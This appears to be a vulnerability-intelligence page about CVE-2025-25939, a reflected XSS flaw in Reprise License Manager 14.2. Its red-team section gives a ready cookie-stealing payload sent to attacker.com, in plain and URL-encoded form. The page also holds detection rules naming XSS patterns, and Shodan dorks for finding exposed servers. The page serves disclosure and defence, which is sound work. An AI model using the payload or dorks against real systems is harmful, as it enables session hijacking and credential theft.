☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-25939

CVE-2025-25939 Cross-Site Scripting in Reprise
📅 PUBLISHED: 2025-03-03 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 14.2
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-25939 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in Reprise License Manager (RLM) version 14.2. The flaw exists in the /goform/activate_process endpoint, where the akey parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript payloads in the akey parameter, which, when visited by an authenticated or unauthenticated user, executes arbitrary scripts in the context of the victim's browser session. This can lead to session hijacking, credential theft, or further exploitation of the RLM web interface.

No supply chain package (NPM, PyPI, Go, Ruby) is associated with this vulnerability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of reflected XSS, the following breakdown is estimated:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R)
  • Scope (S): Changed (C)
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction (clicking a crafted link) but can lead to significant impact if exploited against privileged users.

Deep Dive & Mechanics

The vulnerability resides in the activate_process handler within the RLM web application. The akey parameter is used to process license activation keys. When the server receives a request to /goform/activate_process?akey=..., it reflects the value of akey back in the HTTP response without proper encoding or validation.

Root Cause: Lack of output encoding for user-supplied input in the akey parameter.

Attack Flow:

  1. Attacker crafts a URL: http://target-rlm-server/goform/activate_process?akey=<script>alert('XSS')</script>
  2. Attacker sends this link to a victim (e.g., via phishing email).
  3. Victim clicks the link while authenticated to the RLM web interface.
  4. The server reflects the malicious script in the response.
  5. The victim's browser executes the script, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (RLM 14.2): The akey parameter is directly embedded into the HTML response without sanitization.

<!-- Vulnerable snippet -->
<form action="/goform/activate_process" method="GET">
  <input type="text" name="akey" value="<%= request.getParameter("akey") %>">
</form>

Patched Code (Hypothetical): The akey value should be HTML-encoded before reflection.

<!-- Patched snippet -->
<form action="/goform/activate_process" method="GET">
  <input type="text" name="akey" value="<%= Encode.forHtml(request.getParameter("akey")) %>">
</form>

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running Reprise License Manager 14.2
  • Network access to the RLM web interface (default port 5054)

Exploit Steps:

  1. Identify the vulnerable endpoint: http://<target>:5054/goform/activate_process
  2. Craft a payload to steal cookies:
    http://<target>:5054/goform/activate_process?akey=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
    
  3. Encode the payload for URL (optional but recommended):
    http://<target>:5054/goform/activate_process?akey=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
    
  4. Send the link to a victim via phishing or social engineering.
  5. Set up a listener on attacker.com to capture the cookie.

Example using curl (for testing):

curl -v "http://target:5054/goform/activate_process?akey=<script>alert(1)</script>"

Blue Team

Detection Steps:

  1. Monitor web server logs for requests to /goform/activate_process with suspicious akey parameters containing <script>, onerror, javascript:, or other XSS patterns.
  2. Use WAF rules to block requests with HTML/JavaScript in the akey parameter.
  3. Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting Query (Splunk):

index=web_logs source="/var/log/rlm/access.log"
| search uri_path="/goform/activate_process" AND uri_query=*akey=*
| rex field=uri_query "akey=(?<akey_value>.*)"
| where match(akey_value, "(<script|<img|onerror|javascript:)")
| table _time, client_ip, uri_query, akey_value

Indicators of Compromise (IOCs)

  • URL Pattern: /goform/activate_process?akey=*
  • Network Traffic: HTTP GET requests to the RLM web interface with akey parameter containing encoded or raw JavaScript.
  • Log Entries: Web server logs showing akey values with <script>, %3Cscript%3E, or similar patterns.
  • File Artifacts: None specific to this vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_25939_RLM_XSS {
    meta:
        description = "Detects reflected XSS attempts against Reprise License Manager CVE-2025-25939"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-25939"
    strings:
        $xss_payload1 = /akey=.*<script/i
        $xss_payload2 = /akey=.*%3Cscript/i
        $xss_payload3 = /akey=.*onerror/i
        $xss_payload4 = /akey=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in Reprise License Manager CVE-2025-25939
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts via akey parameter in RLM
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "akey=<script"
            - "akey=%3Cscript"
            - "akey=onerror"
            - "akey=javascript:"
    condition: selection
falsepositives:
    - Legitimate use of activation keys containing similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25939 RLM Reflected XSS Attempt"; flow:to_server; content:"/goform/activate_process"; http_uri; content:"akey="; http_uri; pcre:"/akey=.*(<script|%3Cscript|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: If a patched version becomes available, upgrade immediately.
  2. Input Validation: Implement strict input validation for the akey parameter (allow only alphanumeric characters and hyphens).
  3. Output Encoding: HTML-encode all user-supplied data before reflecting it in responses.
  4. WAF Rules: Deploy Web Application Firewall rules to block XSS payloads in the akey parameter.

Long-term Fixes:

  • Apply proper Content Security Policy (CSP) headers.
  • Use HTTP-only and Secure flags for session cookies.
  • Conduct regular security audits of the RLM web interface.

Workaround:

  • If patching is not possible, restrict access to the RLM web interface to trusted IPs only via firewall rules.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Reprise License Manager
goform/activate_process

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-25939/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.